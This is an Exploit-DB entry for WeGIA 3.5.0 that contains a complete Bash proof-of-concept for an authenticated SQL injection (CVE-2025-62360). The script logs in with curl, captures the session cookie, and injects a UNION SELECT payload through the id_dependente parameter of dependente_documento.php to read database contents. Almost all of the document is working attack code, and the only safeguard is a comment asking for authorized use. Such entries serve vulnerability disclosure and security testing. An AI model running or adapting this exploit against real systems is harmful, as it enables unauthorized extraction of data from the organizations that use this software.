Exploit-DB #52483
Description: WeGIA 3.5.0 - SQL Injection
Type: webapps
Platform: php
Date: 2026-03-03
Author: onurdemir

Exploit:
# Exploit Title: WeGIA 3.5.0 - SQL Injection
# Date: 2025-10-14
# Exploit Author: Onur Demir (OnurDemir-Dev)
# Vendor Homepage: https://www.wegia.org
# Software Link: https://github.com/LabRedesCefetRJ/WeGIA/
# Version: <=3.5.0
# Tested on: Local Linux (localhost/127.0.0.1)
# CVE : CVE-2025-62360
# Advisory / Reference: https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mwvv-q9gh-gwxm
# Notes: Run this script ONLY on a local/test instance you own or are authorized to test.
# ============================================================

if [ -z "$4" ]; then
	# Usage prompt if required arguments are missing
	echo "Usage: $0 <target-url> <user> <password> <payload>"
	echo "Example: $0 http://127.0.0.1/WeGIA/ \"admin\" \"wegia\" \"version()\""
	exit 1
fi

url="$1"
user="$2"
pass="$3"
payload="$4"

# Check if URL format is valid (basic regex)
# This is a basic sanity check for the URL string format.
if ! [[ "$url" =~ ^http?://[a-zA-Z0-9._-]+ ]]; then
  echo "⚠️  Invalid URL format: $url"
  exit 1
fi

# Perform login request (multipart/form)
# -s silent, -w "%{http_code}" will append HTTP code to response
# -D - prints response headers to stdout, combined with body in login_response
login_response=$(curl -s -w "%{http_code}" "$url/html/login.php" \
  -D - \
  -X POST \
  -F "cpf=${user}"\
  -F "pwd=${pass}")

# Extract last 3 chars as HTTP status code from the combined response
login_status_code="${login_response: -3}"

# If login did not return a 302 redirect, handle error cases
if [ "$login_status_code" -ne 302 ]; then
	
	# If curl couldn't connect, curl may return 0 or empty status code
	if [ "$login_status_code" -eq 0 ] || [ -z "$login_status_code" ]; then
		echo "❌ Unable to reach URL: $url"
		exit 1
	fi
	
	# Otherwise report unexpected login status
	echo "Error: Received HTTP status code from login: $login_status_code"
	exit 1
fi

# Extract the Location header from the login response headers
# Using awk to find the first Location header (case-insensitive)
login_location=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Location:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')

# Check username and password correctness using Location header content
# If the Location does not include home.php, consider login failed.
if [[ "$login_location" != *"home.php"* ]]; then
	
	# If Location contains "erro" assume wrong credentials; otherwise unknown error
	if [[ "$login_location" == *"erro"* ]]; then
		echo "Error: Wrong username or password!"
	else
		echo "Error: Unknown Error!"
	fi
	
	exit 1
fi


# Extract Set-Cookie header (first cookie) and keep only "name=value"
# tr -d '\r' removes possible CR characters
set_cookie=$(echo "$login_response" | awk -F': ' 'BEGIN{IGNORECASE=1} /^Set-Cookie:/{print substr($0, index($0,$2)); exit}' | tr -d '\r')
set_cookie=$(echo "$set_cookie" | cut -d';' -f1)


#Exploit Vulnarbility
# (The following performs the SQL injection request using the cookie obtained above)
# The payload variable is used verbatim in the id_dependente parameter.
# Ensure payload is provided safely in the script invocation and that you are authorized to test.

# Execute the curl command and capture the output and status code
response=$(curl -s -w "%{http_code}" "$url/html/funcionario/dependente_documento.php" -d "id_dependente=1 UNION+SELECT 'a','b',$payload;#" -b "$set_cookie;" -H "Content-Type: application/x-www-form-urlencoded")

# Extract the HTTP status code (last 3 characters)
status_code="${response: -3}"


# Extract the body (everything except the last 3 characters)
body="${response:0:-3}"


# If the exploit request returned HTTP 200, try to extract id_doc
if [ "$status_code" -eq 200 ]; then

	# Prefer a robust JSON extractor if available; this line uses grep -Po to capture the id_doc value including quotes.
	# Note: This grep returns the quoted string (e.g. "11.8.3-MariaDB-1+b1 from Debian").
	clear_response=$(echo "$body" | grep -Po '"id_doc": *\K"[^"]*"')

	# Print the extracted value (or empty if not found)
	echo "$clear_response"
else
	# Non-200 status handling
	echo "Error: Received HTTP status code $status_code"
fi